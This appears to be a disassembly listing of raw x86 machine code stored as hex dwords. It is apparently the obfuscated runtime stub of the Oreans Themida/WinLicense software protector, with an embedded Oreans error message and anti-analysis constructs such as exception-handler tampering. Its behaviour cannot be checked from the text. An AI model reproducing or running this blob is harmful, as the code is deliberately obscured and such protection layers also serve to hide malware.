6A006A61h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 17DAC350h, 0E900EDF5h, 0BD8B7FACh, 5E43219h, 3E5BD89h dd 858D05E4h, 5E6EDECh, 100DB589h, 895005E4h, 0E40231BDh dd 6A016A05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 818FC355h, 0DB8EBCC9h, 8A016A2Ch dd 89016AD1h, 0E41D518Dh, 1FF6805h, 8166000Fh, 835BAFC1h dd 0E42AE1BDh, 840F0005h, 5Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 9FC35141h, 894BAE74h, 0E40DC5B5h dd 6B858D05h, 6A05E6ECh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0DB09C350h, 523D35C1h dd 5AF8BF0Fh, 12E9h, 1958B00h, 8D05E402h, 0E6EC4185h, 45BD3105h dd 5005E40Dh, 50CA8B66h, 283FEA81h, 0B5FF7448h, 5E6EC0Eh dd 95FF35B5h, 5E6EBFAh, 8BB9BF66h, 850FC085h, 13h, 0BF0FCFB2h dd 6CE9FFh, 0BA660000h, 3BBF0692h, 893D5307h, 0E6EC1285h dd 0AAB95705h, 5A2CA88Dh, 0EC12B5FFh, 75B905E6h, 0FF3F1010h dd 0E4184595h, 0CE905h, 93D90000h, 0AFDF09EAh, 5DECEE56h dd 14E8773Ah, 85000000h, 283B3DBAh, 7405F024h, 0A2655B5Ch dd 2CBBDA97h, 0F0F65E6h, 689h, 0FDB50100h, 5905E40Fh, 850FC085h dd 6, 0D959D89h, 106A05E4h, 1F098D89h, 0BD8305E4h, 5E42AE1h dd 41840F00h, 66000000h, 609BCDBFh, 2860Fh, 2DB60000h dd 0B6D88166h, 858D61E6h, 5E6EC6Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0B6C35545h, 66EAC245h, 0E942A2BAh dd 0Ch, 0EC41858Dh, 950105E6h, 5E42A65h, 0B1858950h, 0FF05E414h dd 0E6EC0EB5h, 1D853105h, 0FF05E410h, 0E6EC0695h, 47B96605h dd 0FC0852Eh, 0A85h, 2CCEBF00h, 0AABA4552h, 89162D38h dd 0E6EC1285h, 818D8B05h, 6A05E426h, 0EDE98000h, 0C280006Ah dd 12B5FF56h, 6A05E6ECh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 3FD8C351h, 7F136A22h dd 0FE95FFECh, 0E905E6EBh, 0Bh, 0DE6040Bh, 0BE61499Dh dd 85503990h, 26850FC0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0DE44C352h dd 8B627C48h, 0E408798Dh, 12B5FF05h, 2905E6ECh, 0E42D8185h dd 0DA816605h, 95FF56EAh, 5E41845h, 1D618D8Bh, 0C08505E4h dd 850Fh, 6A0000h, 0D299531h, 806805E4h, 8B000000h, 0E41BF195h dd 6AF88B05h, 8E903h, 3DA00000h, 0B51C7619h, 6A88FCh, 6ACE8Bh dd 12860Fh, 0DE90000h, 3E000000h, 0F566CA3Ah, 144EE076h dd 0B2C684A1h, 68h, 799D01C0h, 0FF05E426h, 0E6EC8AB5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 89FC2AF7h, 0E40C8195h, 0A995FF05h, 6A05E40Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0CBC6C356h, 9DD2F4E2h, 9D894628h, 5E407DDh dd 0FFFF883h, 5B285h, 0F885FF00h, 5305E6F6h, 37D8509h dd 835F05E4h, 0E6F6F8BDh, 840F0205h, 467h, 818589F8h, 8D05E422h dd 5AF59F85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B6666AAh, 8DD0FFD3h, 5AEFF285h dd 0E991BF00h, 0D0FF21F0h, 0E953E1BFh, 6AC08B1Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 96EBC351h, 0F7A6C779h, 4D68D281h, 8E92712h, 7D000000h dd 80585CC3h, 83F3CBBDh, 0E416A1BDh, 9750005h, 220DBD83h dd 740005E4h, 8B535019h, 7D8B8C0h, 85890000h, 5E42215h dd 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h dd 7D8B853h, 85890000h, 5E42215h, 0A5DA9D8Dh, 0D3FF05E6h dd 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 89028FC3h dd 0E425C59Dh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0FCE9707Ah, 6E9h, 0D1CC3600h dd 8BCA311Fh, 199D89C0h, 6805E431h, 0F003Fh, 0B9B58960h dd 5705E42Dh, 810Fh, 61590000h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F8520C3h dd 6AFEBFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 52C35141h, 99264FF2h, 0FF881C7Bh, 0E4281195h, 0CB8B6605h dd 0B70FC085h, 0E8589FEh, 6A05E6ECh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F8DC353h dd 681h, 0BD8D0100h, 0F05E427h, 0FF68D0B7h, 6A000F01h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0C65C356h, 2AE1BD83h, 0F0005E4h, 1B84h, 858DFC00h dd 5E6EC6Bh, 151DBD8Bh, 15E905E4h, 0F000000h, 383h, 0CBBF0F00h dd 0EC41858Dh, 0BD8B05E6h, 5E432C5h, 81525650h, 0F1E0E4F1h dd 0FF595F64h, 0E6EC0EB5h, 8A0F6005h, 12h, 0CE8h, 0F407C400h dd 0B84B8361h, 103A9CACh, 0FF6159B2h, 0E6EC0695h, 25BD8905h dd 8905E42Dh, 0E6EC1285h, 2830F05h, 8B000000h, 8585C7FAh dd 5E422h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 17B9C356h, 0D0C351CAh, 609A9E5Fh dd 8BCAB70Fh, 0BD8361F8h, 5E6EC12h, 0A8840F00h, 33000001h dd 0E40CA98Dh, 0FD850105h, 8D05E424h, 0E6EEF085h, 8B0F6005h dd 6, 1FE59D89h, 0BD8905E4h, 5E42781h, 35BD0B61h, 5005E424h dd 0CE8h, 6A8C3200h, 85A7E9DDh, 20E95C42h, 0E9852941h dd 5A05E42Ah, 16AC88Bh, 10258589h, 0B5FF05E4h, 5E6EC12h dd 61F56053h, 0EA81515Fh, 34BA8C9Ah, 0A95FF5Fh, 0F05E6ECh dd 0B5FFFBB7h, 5E6EC12h, 1FD98D89h, 95FF05E4h, 5E41845h dd 35958Bh, 0B96605E4h, 0FF68AD92h, 66000F01h, 0BD83D78Bh dd 5E42AE1h, 45840F00h, 0E9000000h, 10h, 2282CABEh, 0E2A04CFh dd 2BDEB9E7h, 223FD8D8h, 0EC6B858Dh, 8D2905E6h, 5E41125h dd 2BE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 222F4276h, 0EC41858Dh, 958B05E6h dd 5E42D01h, 0EE950h, 0FC2C0000h, 624BFD51h, 29467A25h dd 25CFC9B0h, 0EC0EB5FFh, 816605E6h, 0FF4B6CDFh, 0E6EC0695h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0F590AA19h, 9E8h, 0D0883A00h, 0A3D108EAh dd 85316884h, 5E432C5h, 0A19D895Fh, 8905E429h, 0E6EC1285h dd 9D896005h, 5E419B9h, 8D9D8B60h, 6605E410h, 6161F38Bh dd 81BD8B51h, 5A05E431h, 0EC12B5FFh, 0C9BA05E6h, 0FF5EAF23h dd 0E6EC0295h, 0D5958905h, 5305E403h, 20E1958Bh, 0FF5F05E4h dd 0E6EC12B5h, 0B9958B05h, 0FF05E424h, 0E4184595h, 0F3CB905h dd 31BF3D27h, 0E959A157h, 0FFFFF6B8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 20C35040h, 89F9B7D8h, 0E417898Dh dd 0A19D0105h, 0FF05E430h, 0E6F75BB5h, 95BD8B05h, 0FF05E40Dh dd 0E42A6195h, 99BD8905h, 6605E419h, 402BEF81h, 1C81858Bh dd 950905E4h, 5E42131h, 6D6E9h, 79958B00h, 8D05E408h, 0E6EF10B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0F284DDA7h, 0BF0F6EC1h, 41858DCBh, 0E805E69Ch dd 0Dh, 77F4AD09h, 797F4638h, 79F41F6Eh, 61606085h, 820Fh dd 5F610000h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 51BB75C3h, 14E9006Ah, 93000000h dd 784DE870h, 0CFA2ADF7h, 5026E484h, 7440AA29h, 0FF18E629h dd 0E4024195h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0A9712407h, 89924D0Ah dd 0E41C09BDh, 6AF38B05h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 8D48C355h, 37CECF81h dd 858D2732h, 5E69C41h, 0FF21F180h, 0EF8166D0h, 6A7461h dd 0FFFB8B66h, 0E4024195h, 3DB58905h, 8B05E414h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 4A34BAFDh, 0BD8310C9h, 5E416A1h, 83097500h, 0E4220DBDh dd 19740005h, 0C08B5350h, 7D9B8h, 15858900h, 8D05E422h dd 0E6A8EB9Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h dd 7D9B8h, 15858900h, 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h dd 81665158h, 5933BADAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0B5C35141h, 6870Fh, 8D890000h, 5E42DC9h dd 22558D29h, 0C08B05E4h, 0F9752FBAh, 0EE968h, 6B620000h dd 0D6A5C55h, 999BE9D9h, 0C075B326h, 53006A50h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 7129B928h dd 6601B134h, 41F1E781h, 6AD88Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 5E894C3h, 48000000h dd 577C0B8Eh, 5FD6BF0Fh, 2D9D8D53h, 8B05E429h, 8B038903h dd 43895043h, 0F49D8D50h, 8B05E6F6h, 5B038903h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0AFC35141h, 0E9CB8B66h dd 13h, 119566EAh, 1A391AD3h, 1173B1C7h, 0AF7DFA1h, 6A81D6CBh dd 8DD18B00h, 0E6F6F485h, 5E86005h, 0A1000000h, 5F19B418h dd 8F28166h, 50615B7Fh, 0FCD9523h, 606A05E4h, 292D858Dh dd 950B05E4h, 5E42DB9h, 0FE850h, 0FD6B0000h, 75B5876Dh dd 8A7EC0B2h, 3D509AABh, 0D7BF0F49h, 16BA665Ah, 6A006AB4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 936DC352h, 28C9033Eh, 0FE8A732h, 9F000000h dd 4B155321h, 0E05A83BAh, 5C6137C2h, 8166D136h, 5F7C32E2h dd 82DA8166h, 68006ABEh, 1800h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 70C35040h, 0D2B5D2BCh, 47EFE794h dd 0F60F85Eh, 88h, 860F6000h, 0 dd 61616160h, 0C9B70F53h, 2A2995FFh, 0BF0F05E4h, 7195FFCBh dd 6A05E419h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 3D05C351h, 1AA202Ch, 0BF66023Ch dd 0FFF9AF77h, 0E6F75BB5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B1A725E1h dd 0A90D3AD3h, 1995319Eh, 0FF05E404h, 0E42A6195h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0B4F3B093h, 704D50CAh, 0F605942h, 284h, 8B5F5600h, 0E40D55BDh dd 858D6105h, 5E4292Dh, 6800Fh, 85010000h, 5E41E05h, 6A18408Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B4BC352h, 0E413BD95h, 5840F05h, 0B9000000h dd 4D339879h, 75985C7h, 5E4h, 0BD8B0000h, 5E4114Dh, 2AE1BD83h dd 0F0005E4h, 4584h, 0AD8D2300h, 3D05E403h, 8Ch, 1E0830Fh dd 7E80000h, 6B000000h, 6238A3E5h, 13E9E0C4h, 0E3000000h dd 7194C50h, 0BDA5FDF3h, 9F8DF15Eh, 6945172Ah, 0E9592CEDh dd 1Bh, 4890Fh, 0BA660000h, 963D4026h, 0F000000h, 1A183h dd 0F9BD2B00h, 8D05E414h, 5AF59F85h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A3AD7E6Dh dd 6DECDE80h, 0D28166A0h, 0D980BE53h, 50D0FFC1h, 5F5FF951h dd 0EFF2858Dh, 0BD8B005Ah, 5E41655h, 29D18589h, 0D0FF05E4h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 68C35545h dd 81665250h, 5F0EA5DFh, 0E8C08B5Fh, 0Bh, 0A4327FB9h, 51BA61ADh dd 0E950EC13h, 11h, 8CB7B077h, 1722D79h, 148F4134h, 5D27D830h dd 0BD835F33h, 5E416A1h, 83097500h, 0E4220DBDh, 19740005h dd 0C08B5350h, 0BC6B8h, 15858900h, 8D05E422h, 0E6A8EB9Dh dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 0BC6B8h, 15858900h dd 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h, 65F18158h, 8B454B65h dd 958B51C0h, 5E42CB9h, 0FFF88359h, 47850Fh, 81600000h dd 0D6E604C9h, 0C761F835h, 0E40FD985h, 5, 0EBE9F500h, 8B000000h dd 63E9D3h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0C151AC3h, 89075985h, 0E404F5B5h dd 1F88305h, 33850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0B77EB7C3h, 0D0E9F07Ah dd 60000000h, 2A1958Bh, 858905E4h, 5E419D1h, 0F046E961h dd 8B60FFFFh, 0E42D09B5h, 6840F05h, 89000000h, 0E400BDBDh dd 0C08B6105h, 0BD83D18Bh, 5E416A1h, 83097500h, 0E4220DBDh dd 19740005h, 0C08B5350h, 7DDB8h, 15858900h, 8D05E422h dd 0E6A8EB9Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h dd 7DDB8h, 15858900h, 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h dd 0CD958958h, 6605E401h, 8BAD90B9h, 81952BC0h, 0E905E425h dd 25Fh, 858D62B1h, 5E6F4F8h, 0E8E78166h, 0F0858988h, 0E905E6F6h dd 13h, 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 0D3B03349h dd 0E9B7D08Bh, 8Bh, 3880Fh, 0E2800000h, 0F08060B8h, 0CA8166E8h dd 8D6130E7h, 0E6F30085h, 0FE805h, 0C0730000h, 4FF25269h dd 1C7B9926h, 66629288h, 7E9609Dh, 21000000h, 0FFEB6698h dd 85897905h, 5E4312Dh, 6A405F61h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E0E0C356h dd 58D2708h, 718D89CFh, 0E905E416h, 7, 0BB2C5EDEh, 89736CCEh dd 0E6F6F085h, 9E905h, 4FE0000h, 1D6A4CABh, 6A07913Fh dd 0F9858D34h, 5005E402h, 0F6F0B5FFh, 6A05E6h, 0CC995FFh dd 0F88305E4h, 62840F07h, 66000001h, 0C3F6DB8Ch, 0FC850F04h dd 0C6000000h, 0E42A4985h, 52685605h, 0FF9CA8B8h, 0E428E5B5h dd 94858D05h, 0FF05E439h, 68046AD0h, 1000h, 6A646Ah, 8589D0FFh dd 5E6F763h, 2A4985C6h, 684705E4h, 0EC18AC9Bh, 28E5B5FFh dd 858D05E4h, 5E43994h, 0D0FFD0FFh, 85C6F08Bh, 5E42A49h dd 2661684Fh, 0B5FFC62Fh, 5E40FB9h, 3994858Dh, 0D0FF05E4h dd 0F75F9D8Dh, 6A5305E6h, 0D0FF5628h, 75C085h, 2A4985C6h dd 684105E4h, 0DB876498h, 0FB9B5FFh, 858D05E4h, 5E43994h dd 8589D0FFh, 5E6F77Ch, 2A4985C6h, 684C05E4h, 80A4E7A4h dd 0FB9B5FFh, 858D05E4h, 5E43994h, 9D8BD0FFh, 5E6F763h dd 53045B8Dh, 0F7689D8Dh, 6A5305E6h, 8BD0FF00h, 0E6F7639Dh dd 103C705h, 0C7000000h, 20C43h, 85C70000h, 5E40771h, 0 aJjj: unicode 0, <jjj> dw 9D8Bh dd 5E6F763h, 0FF006A53h, 0E6F75FB5h, 7C95FF05h, 0C605E6F7h dd 0E42A4985h, 97684505h, 0FF92A5F7h, 0E42379B5h, 94858D05h dd 0FF05E439h, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h dd 0E6F7639Dh, 0C43C705h, 0 dd 6A006Ah, 0F7639D8Bh, 6A5305E6h, 5FB5FF00h, 0FF05E6F7h dd 0E6F77C95h, 5FB5FF05h, 0FF05E6F7h, 0E4197195h, 0FF006A05h dd 0E4024195h, 0E9B58905h, 5205E41Ah, 26358D89h, 0F5905E4h dd 688h, 9BD8900h, 8D05E41Fh, 0E72D3485h, 3ABF6605h, 0BD8B5000h dd 5E41A45h, 35FF64h, 8B000000h, 0E42AD995h, 25896405h dd 0 dd 820Fh, 0BD830000h, 5E42265h, 36840F00h, 8B000000h, 0E400158Dh dd 95BD8305h, 105E429h, 23850Fh, 9D890000h, 5E41CADh, 4DB840BAh dd 7CBD803Eh, 5E6FBh, 0B850Fh, 8B660000h, 1C2E9D7h, 0B70F0000h dd 0FDB33F9h, 88Ch, 0E2815700h, 3B79F801h, 81C0335Ah, 6EE64DD2h dd 3F0F4055h, 8F640B07h, 5, 4C48300h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 2CC35040h, 88E52EA7h, 22B58589h dd 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 160B98C3h, 9529E40Bh, 5E41795h, 0FFFFB83h dd 4B84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 426E927Ch, 898817F7h, 0E42095BDh dd 0D9D8905h, 0E905E41Ah, 106h, 13E9h, 8D94B000h, 8EC0A284h dd 0A24C0313h, 0E13B14F8h, 0AC177BCAh, 7EE9h, 0E18D8B00h dd 905E411h, 0E425DD8Dh, 244C8B05h, 0A481C70Ch, 0FF000000h dd 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch dd 5D000000h, 2D56ED81h, 838B05E7h, 0B8h, 2E1B858Dh, 838905E7h dd 0B8h, 0C3C0335Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0CC35343h, 0B5FCF045h, 0D98D0BDCh, 8105E41Fh dd 4014BFCFh, 25952920h, 8D05E400h, 0E72D4C85h, 0B5958B05h dd 5005E422h, 64C9B70Fh, 35FFh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B70FB3C3h dd 258964D6h, 0 dd 11F59523h, 0AB905E4h, 0B8000000h, 4855D704h, 0F7816405h dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h dd 564D5868h, 85C70A75h, 5E41C6Dh, 1, 58F64h, 83000000h dd 0BD0904C4h, 5E412F5h, 204D8D89h, 0C08B05E4h, 16FD9D89h dd 0BD8305E4h, 5E416A1h, 83097500h, 0E4220DBDh, 19740005h dd 0C08B5350h, 43DB8h, 55858900h, 8D05E41Ah, 0E6A9529Dh dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 43DB8h, 55858900h dd 8D05E41Ah, 0E6A5F39Dh, 5BD3FF05h, 0E1816658h, 0F98BCEC4h dd 3AE9C08Bh, 4000001h, 31000000h, 3535382Eh, 7 dup(0) dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 0B1BD8300h dd 5E419h, 12D840Fh, 858D0000h, 5E6A40Ah, 74858D50h, 5005E6A3h dd 168h, 1A95FF80h, 8D05E6A4h, 0E72E9285h, 858D5005h, 5E72E9Ch dd 6A006A50h, 88858D00h, 5005E6A3h, 0A40AB5FFh, 95FF05E6h dd 5E430F5h, 2E92858Dh, 8D5005E7h, 0E72EA085h, 6A5005h dd 858D006Ah, 5E6A39Ah, 0AB5FF50h, 0FF05E6A4h, 0E430F595h dd 92858D05h, 5005E72Eh, 2EAC858Dh, 6A5005E7h, 8D006A00h dd 0E6A3E785h, 0B5FF5005h, 5E6A40Ah, 30F595FFh, 858D05E4h dd 5E72E92h, 0B4858D50h, 5005E72Eh, 6A006Ah, 0A405858Dh dd 0FF5005E6h, 0E6A40AB5h, 0F595FF05h, 8D05E430h, 0E72E9285h dd 858D5005h, 5E72EB0h, 6A006A50h, 0EE858D00h, 5005E6A3h dd 0A40AB5FFh, 95FF05E6h, 5E430F5h, 2E92858Dh, 8D5005E7h dd 0E72EA485h, 6A5005h, 858D006Ah, 5E6A3F6h, 0AB5FF50h dd 0FF05E6A4h, 0E430F595h, 92858D05h, 5005E72Eh, 2EA8858Dh dd 6A5005E7h, 8D006A00h, 0E6A3FD85h, 0B5FF5005h, 5E6A40Ah dd 30F595FFh, 0B5FF05E4h, 5E6A40Ah, 31B195FFh, 0A2E905E4h dd 83000000h, 0E4320DBDh, 840F0005h, 95h, 2995BD83h, 0F0005E4h dd 1185h, 0B5958B00h, 8105E41Ah, 1CF8C2h, 0FE900h, 958D0000h dd 5E4292Dh, 8134528Bh, 0D4C340C2h, 0ED95893Bh, 8305E41Fh dd 0E41FEDBDh, 840F0005h, 55h, 1FED9D8Bh, 0C38305E4h, 89038B4Ch dd 0E72E9C85h, 0ED9D8B05h, 8305E41Fh, 38B50C3h, 2EA08589h dd 9D8B05E7h, 5E41FEDh, 8B54C383h, 0AC858903h, 8B05E72Eh dd 0E41FED9Dh, 58C38305h, 8589038Bh, 5E72EB0h, 1FED9D8Bh dd 0C38305E4h, 89038B5Ch, 0E72EA485h, 0B1BD8305h, 5E419h dd 0D850Fh, 0BD830000h, 5E4320Dh, 68840F00h, 0FF000000h dd 0E72EB4B5h, 0A8B5FF05h, 0FF05E72Eh, 0E72EA4B5h, 0B0B5FF05h dd 0FF05E72Eh, 0E72EACB5h, 0A0B5FF05h, 0FF05E72Eh, 0E72E9CB5h dd 96858D05h, 5005E72Eh, 2ECE858Dh, 8D5005E7h, 0E4050185h dd 95FF5005h, 5E427D5h, 6A24C483h, 0B8858D40h, 5005E72Eh dd 501858Dh, 6A5005E4h, 0C995FF00h, 6A05E40Ch, 4195FF01h dd 8B05E402h, 6A60C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0D18100C3h, 182FA323h, 830FC08Bh dd 2, 0BD83D08Ah, 5E416A1h, 83097500h, 0E4220DBDh, 19740005h dd 0C08B5350h, 40EB8h, 15858900h, 8D05E422h, 0E6A8EB9Dh dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 40EB8h, 15858900h dd 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 81661E50h dd 0E8CBF4CAh, 0Bh, 0D23B0F65h, 417A36Ah, 0B5F3B9B2h, 0F1815E58h dd 3C2CE34Bh, 0D58AC08Bh, 2265BD83h, 0F0005E4h, 3384h dd 6AC98100h, 0E923D1EEh, 13h, 0A154DD37h, 87342F44h, 6E785ED2h dd 0D739E128h, 0E9B08280h, 235h, 28A0F60h, 60000000h, 8B0F61h dd 61000000h, 0F766DF8Ch, 0F0004C7h, 21885h, 0BF00h, 0F8B50000h dd 34EF9D8Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0AE97FC3h, 0FA000000h, 6104DCE5h dd 0AA9417F3h, 7E8508Dh, 55000000h, 0EFD6419Dh, 1FBA23BCh dd 5A12582Dh, 6A241C89h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 3F8EC355h, 0FC4B1D8h dd 178Ah, 12E900h, 4ED10000h, 0BDC699FBh, 0B830B4E1h, 2739115Bh dd 684C1124h, 35FF64h, 64000000h, 2589h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 74AEC7C3h, 0E971642Fh, 0B9892E23h, 6BC8449h, 7E9C48Bh dd 0AD000000h, 0CE30A9Fh, 0C180929Bh, 0EB01CD6Ch, 3800F00h dd 80000000h, 6ADAEAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0DAA05AC3h, 0FFDC86DEh, 6435B6CCh dd 58Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 79F2CCC3h, 92CE099Bh, 60915B38h dd 0FE9h, 19C7F200h, 0EA5CD5F8h, 0C343F15Ch, 7633474Ah dd 840F50h, 59000000h, 4C48361h, 0C00BC88Bh, 0BB840Fh dd 0E9500000h, 7, 8360CA64h, 597FDD78h, 38D0F61h, 66000000h dd 0BD8DF28Bh, 5E46FFDh, 5EE2B550h, 1B8h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0FAE3B4Bh, 0E7FFC9BFh, 12840Fh, 0CE80000h, 78000000h dd 8D1D00A1h, 1A5163F3h, 59F9836Fh, 245C8B57h, 0B8838B10h dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h dd 335F0200h, 5FB2C3C0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 67C35646h, 577E5715h, 0A54B4EE1h, 0BE93Bh dd 920F0000h, 4095DF8Fh, 22A0D269h, 0C88B6135h, 12E8C08Bh dd 33000000h, 423A8694h, 0F9BAB94Bh, 155062CCh, 0D1BE308Ah dd 59F08B19h, 16A1BD83h, 750005E4h, 0DBD8309h, 5E422h dd 53501974h, 0EB8C08Bh, 89000004h, 0E41A5585h, 529D8D05h dd 0FF05E6A9h, 83585BD3h, 0E4220DBDh, 17740005h, 0EB85350h dd 89000004h, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 6A585BD3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 6F7AC352h, 4876AD63h, 0D38B6604h, 0EE860h dd 16C90000h, 2FA86AE9h, 0A8931748h, 847119BEh, 6BCE8166h dd 8E0F5F92h, 0Ch, 7E9h, 33898400h, 63CE4870h, 0D7BF0F61h dd 8E9C08Bh, 54000000h, 30C4325Fh, 8BD215A8h, 5E8C2h, 80640000h dd 0F53FFC9h, 586h, 0C3816600h, 815E848Bh, 0B53FA5D3h dd 2BC68167h, 8B00005Dh, 0BFCBh, 0BA660000h, 48B4D8Fh dd 0D0B9663Eh, 10F081A7h, 0E9417A86h, 8, 9EA90D3Ah, 0FC94113Ch dd 0E881F081h, 0D78A679Ah, 6874F081h, 0B5575885h, 0B9505AA4h dd 74A5920Bh, 663E048Fh, 0D0F0F381h, 83DFB70Fh, 0D28104EFh dd 3727A810h, 0A350FF81h, 850FFFFFh, 0FFFFFFAEh, 959E0ABAh dd 1718EB4Dh, 9B46F3h, 4 dup(0) dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 0E736C5EDh dd 4C26105h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5E736FDh, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5E73701h dd 0FFE9860Fh, 